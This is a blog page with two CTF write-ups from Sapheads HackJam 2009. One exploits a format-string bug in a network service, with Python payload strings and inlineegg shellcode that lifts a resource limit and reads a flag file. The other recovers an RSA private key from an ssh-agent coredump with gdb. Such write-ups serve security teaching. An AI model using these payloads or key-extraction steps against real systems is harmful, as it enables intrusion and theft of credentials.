Writing neat shellcode using inlineegg – Sapheads HackJam 2009 Challenge 8

October 2, 2009 by thaidn · Leave a Comment 

1. Analysis

First thing first:

$ file t1g3rd

t1g3rd:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.6.15, dynamically linked (uses shared libs), not stripped

t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, the binary forks a new child process, and calls a function named handleClient. At the begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes the binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.

handleClient then goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from the client. The first input is sent back to the client using printf(3), and the second is just discarded.

2. Vulnerability

As one can guess, the printf(3) call at 0×08048c52 that the binary uses to send the first input back to the client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.

3. Exploit

Usually, with this kind of format string bug, one could overwrite the RIP of handleClient or the RIP of the vulnerable printf(3) call to loop back to the begining of handleClient, so that the binary would read(2) another 19 bytes, and the next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above the first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don’t need to use these techniques here.

Right after the vulnerable printf(3) call is another read(2) call at 0×08048c7f whose pseudo-code looks like:

read(0, input_buffer2, length)

where length is an integer stored at $EBP – 0×228 on the stack. Before this call, at 0×08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.

Here are two exploit strings that we send to the binary:

# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes

# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2

4. Shellcode

Now I can make t1g3rd run my shellcode, but as I said in Section 1, the binary disallows opening new file or forking new process. That means the shellcode can’t do anything useful, i.e. reading the key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set the resource limitations back to normal values?

Then comes the question of the day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, there are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out the respective shellcode; c) or use inlineegg to write it in Python.

As the title of this entry suggests, I’ll go with inlineegg. To be honest I hadn’t written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.

Here is the shellcode:

1.    egg = InlineEgg(Linuxx86Syscall)
2.    egg.addCode(egg.micro.pushTuple((100, 200)))
3.    egg.setrlimit(7, egg.micro.varAtTop().addr())    # RLIMIT_NOFILE
4.    buff = egg.alloc(20)
5.    fd = egg.save(-1)
6.    fd = egg.open(flag_file)
7.    nr = egg.read(fd, buff.addr(), 20)
8.    egg.write(0, buff.addr(), nr)
9.    #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10.   egg.exit(0)

The most important lines are 2 and 3 which I would explain shortly. If you want to understand the rest, I suggest you reading inlineegg’s documetation and examples.

The prototype of setrlimit(2) is:

int setrlimit(int resource, const struct rlimit *rlim); 

where the second parameter is a pointer to a rlimit structure which is:

struct rlimit {
 rlim_t rlim_cur;  /* Soft limit */
 rlim_t rlim_max;  /* Hard limit (ceiling for rlim_cur) */
};

So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.

At line 2, I push a tuple (100, 200) to the stack. egg.micro.pushTuple((100, 200)) would return the Assembly code that pushes 100 and 200 to the stack, and egg.addCode of course would add that code to the egg.

At line 3, egg.micro.varAtTop() would return the variable (see class Variable in inlineegg.py) at the top of the stack. Since we just push 100 and 200 to the stack, this variable would contain these two integers. I call addr() on this variable to get its address, and pass the result as the second argument of the setrlimit(2) syscall.

And that’s it! Is it neat? He he he. In the next writeup, I’ll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

How to recover RSA private key in a coredump of ssh-agent – Sapheads HackJam 2009 Challenge 6

October 1, 2009 by thaidn · Leave a Comment 

Last week or so I joined CLGT to take part in HackJam 2009 by Sapheads. AFAIK this is the first CTF that Sapheads organizes, but they had done a very good job. To most people’s surprise, the contest attacted quite a lot of teams from around the world, and it had quickly become an international competition.

Did I tell you that we’re the winner? Ha ha ha this is our very first win since the name CLGT was born.

BTW, HackJam 2009 was a success because Sapheads had kept their promise which is to “provide challenges that greatly resemble real world scenarios and environments, at the same time, adding fun and educational ingredients to them”. We really had fun ^_^, not disturbing pains *_*, in solving the challenges. Thank you Sapheads! We’re looking forward to HackJam 2010.

I promised to some people in #sapheads that I would release some writeups about the challenges after the contest ended, and here they are. Sorry for the delay, I have been busy working with vendors on this which you may want to read too.

I’ll post writeups of challenge 4, 6, 7, 8, 9 on this blog and CLGT’s homepage in the next two weeks. These are the challenges that I solved or helped to solve. I leave out challenge 1 and challenge 2 because they are trivial. I was out or sleeping when the team solved challenge 3 and 5, so I guess I don’t write nothing about them either. You can download all the binaries in the contest here.

I hope you enjoy reading them as much as I enjoy writing them.

——-

As the title of this entry suggests, this is the writeup of challenge 6 which is IMHO the coolest CTF challenge ever :-D. I really like its concept and implementation. Thank you whats ^_^!

For those who didn’t take part in HackJam, these two men are the criminals who had stolen and leaked a new album of SNSD (you should check these girls out ^_^). All teams are in charged of tracking them down.

As you can see in the comic, the criminals got a coredump when they were trying to transfer a MP3 to his server at 67.202.60.164. And that coredump is the only file given in challenge 6.

So first thing first:

$ file core.6261

core.6261: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'ssh-agent'

As you can see, this is a coredump of ssh-agent. This is from the manpage of ssh-agent:

ssh-agent is a program to hold private keys used for public key
authentication (RSA, DSA). The idea is that ssh-agent is started in the
beginning of an X-session or a login session, and all other windows or
programs are started as clients to the ssh-agent program.

The manpage doesn’t tell where ssh-agent stores private keys, but one can guess that it would store them in its memory. When ssh-agent crashes, all of its memory content would be written to the coredump. So I guess the idea of challenge 6 is to recover the private key of the criminals stored in the coredump, and use that private key to SSH into 67.202.60.164 which may give me the key for challenge 7.

This is why Sapheads challenges are better than other CTFs. They don’t try to distract us by giving false trails. They give good trails which can be deduced using logical thinking. This challenge also greatly resembles real world scenario which in turn makes it much more interesting than other non-sense challenges somehow created only to show that their authors are smarter than others.

Okie enough bullshit, let’s get back to challenge 6. As whats from Sapheads suggests, I take a look at static variables of ssh-agent.c which are defined like below:

typedef struct identity {
 TAILQ_ENTRY(identity) next;
 Key *key;
 char *comment;
 u_int death;
 u_int confirm;
} Identity;

typedef struct {
 int nentries;
 TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

/* private key table, one per protocol version */
Idtab idtable[3];
int max_fd = 0;
/* pid of shell == parent of agent */
pid_t parent_pid = -1;
u_int parent_alive_interval = 0;
/* pathname and directory for AUTH_SOCKET */
char socket_name[MAXPATHLEN];
char socket_dir[MAXPATHLEN];

So right above socket_name are 3 integers, and then comes idtable which contains pointers to Identity structures, which in turn contains pointers to Key structures. This is how a Key structure looks like (it’s in openssh/key.h):

struct Key {
 int     type;
 int     flags;
 RSA    *rsa;
 DSA    *dsa;
};

Ah RSA structure! This is how it looks like (it’s in openssl/rsa.h):

struct rsa_st
 {
 /* The first parameter is used to pickup errors where
 * this is passed instead of aEVP_PKEY, it is set to 0 */
 int pad;
 long version;
 const RSA_METHOD *meth;
 /* functional reference if 'meth' is ENGINE-provided */
 ENGINE *engine;
 BIGNUM *n;
 BIGNUM *e;
 BIGNUM *d;
 BIGNUM *p;
 BIGNUM *q;
 BIGNUM *dmp1;
 BIGNUM *dmq1;
 BIGNUM *iqmp;
 /* be careful using this if the RSA structure is shared */
 CRYPTO_EX_DATA ex_data;
 int references;
 int flags;
 /* Used to cache montgomery values */
 BN_MONT_CTX *_method_mod_n;
 BN_MONT_CTX *_method_mod_p;
 BN_MONT_CTX *_method_mod_q;
 /* all BIGNUM values are actually in the following data,
  * if it is not NULL */
 char *bignum_data;
 BN_BLINDING *blinding;
 BN_BLINDING *mt_blinding;
 };

typedef bignum_st BIGNUM;
struct bignum_st
 {
 BN_ULONG *d;    /* Pointer to an array of 'BN_BITS2' bit chunks. */
 int top;    /* Index of last used d +1. */
 /* The next are internal book keeping for bn_expand. */
 int dmax;    /* Size of the d array. */
 int neg;    /* one if the number is negative */
 int flags;
 };

As one can expect, a RSA structure contains n, e, d, p, q and some other data. We need to get these numbers, which are stored in BIGNUM structures, out of the coredump. So the next thing to do is know where idtable is in the coredump. I load the coredump into bless, my favourite hex editor (click on the image to zoom in):


As you can see, at offset 0×13b0 is socket_name. Based on the analysis of the last paragraph, we can guess that max_fd, parent_pid, and parent_alive_interval are stored in 12 bytes between offset 0×13a4 and 0×13af. Then one can ask, what are those 16 null bytes from offset 0×1394 to 0×13a3? I don’t know. If you know, please drop me a line. But I know for sure, idtable is stored in 36 bytes from offset 0×1370 to 0×1393, just right before those weird 16 null bytes.

The idtable array has 3 entries, one for each SSH protocol version. Each entry is an structure whose length is 12 bytes (hence 36 bytes for the whole array). When ssh-agent starts, each Idtab is initiated like this:

TAILQ_INIT(&idtable.idlist);
idtable.nentries = 0;

where TAILQ_INIT is a macro defined in sys/queue.h as following:

#define    TAILQ_INIT(head) do {
 (head)->tqh_first = NULL;
 (head)->tqh_last = &(head)->tqh_first;
} while (/*CONSTCOND*/0)

So after initiation, an Idtab structure would contain 1 zero integer for nentries, 1 null pointer for idlist.tqh_first, and 1 pointer for idlist.tqh_last which points back to idlist.tqh_first. Looking at the coredump, one can see that the first two Idtab entries of idtable don’t contain any key information because their nentries is 0. This is as expected, since SSH protocol 1 and 1.1 are long deprecated. The last entry of idtable is the Idtab of SSH protocol version 2. As one can see, its nenetries is 1, and we can guess that the pointer 0×0806E3B8 is pointing to an identity structure which contains 4 pointers and 2 integers. Let’s see if this is the case:

$ gdb /usr/bin/ssh-agent core.6261
Core was generated by `/usr/bin/ssh-agent'.
[New process 6261]
#0  0xb7f55424 in __kernel_vsyscall ()

(gdb) x/6x 0x0806E3B8
0x806e3b8:    0x00000000    0x0806297c    0x0806e158    0x0806e3a8
0x806e3c8:    0x00000000    0x00000000

(gdb) x/s 0x0806e3a8
0x806e3a8:     "id_rsa"

As you can see, the 4th pointer is comment. So the 3rd pointer should be key, i.e. it should point to a Key structure which contains 2 integers and 2 pointerss:

(gdb) x/4x 0x0806e158
0x806e158:    0x00000001    0x00000000    0x0806e170    0x00000000

If everything is correct, the pointer 0×0806e170 should point to a RSA structure:

(gdb) x/22x 0x0806e170
0x806e170:    0x00000000    0x00000000    0xb7ed5840    0x00000000
0x806e180:    0x0806e210    0x0806e228    0x0806e240    0x0806e288
0x806e190:    0x0806e270    0x0806e2b8    0x0806e2a0    0x0806e258
0x806e1a0:    0x00000000    0x00000000    0x00000001    0x0000000e
0x806e1b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x806e1c0:    0x0806e950    0x00000000

How to be sure this is a RSA structure? Is there any known value to test? Fortunately, the answer is yes. If this is a RSA structure, the 6th pointer 0×0806e228 should point to a BIGNUM structure containing the value of the e parameter which should be 0×23, the default value that ssh-keygen uses for e. Let’s see:

(gdb) x/5x 0x0806e228
0x806e228:    0x0806e2e0    0x00000001    0x00000001    0x00000000
0x806e238:    0x00000001

(gdb) x/2x 0x0806e2e0
0x806e2e0:    0x00000023  0xb7d39150

Yay! We got it!

The next step is to extract all the parameters. It was not as easy as it sounds though. I spent quite a lot of time to read out the value of these parameters due to my ignorant of big-edian and little-edian storage. But I managed to get them out eventually. I generated the RSA private key from p and q, and used it to SSH into 67.202.60.164 which indeed gave me the key for challenge 7. I got my first breakthrough he he he.

That’s it. Thanks for reading.

Err…but how to generate RSA private key from n, d, e, p and q? I’m glad that you ask. Tools like openssl can not help in this case. You must write your own tool. I suggest you taking a look at ASN.1. There’s a very good tutorial here.

If you understand ASN.1, I’m pretty sure you’d know how to generate RSA private key from its parameters. You can use pyasn1 which is a very good ASN.1 library for Python. I can’t release my tool because it’s part of the upcoming CTF that I’m organizing. After that CTF, I’ll update this post with the tool.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca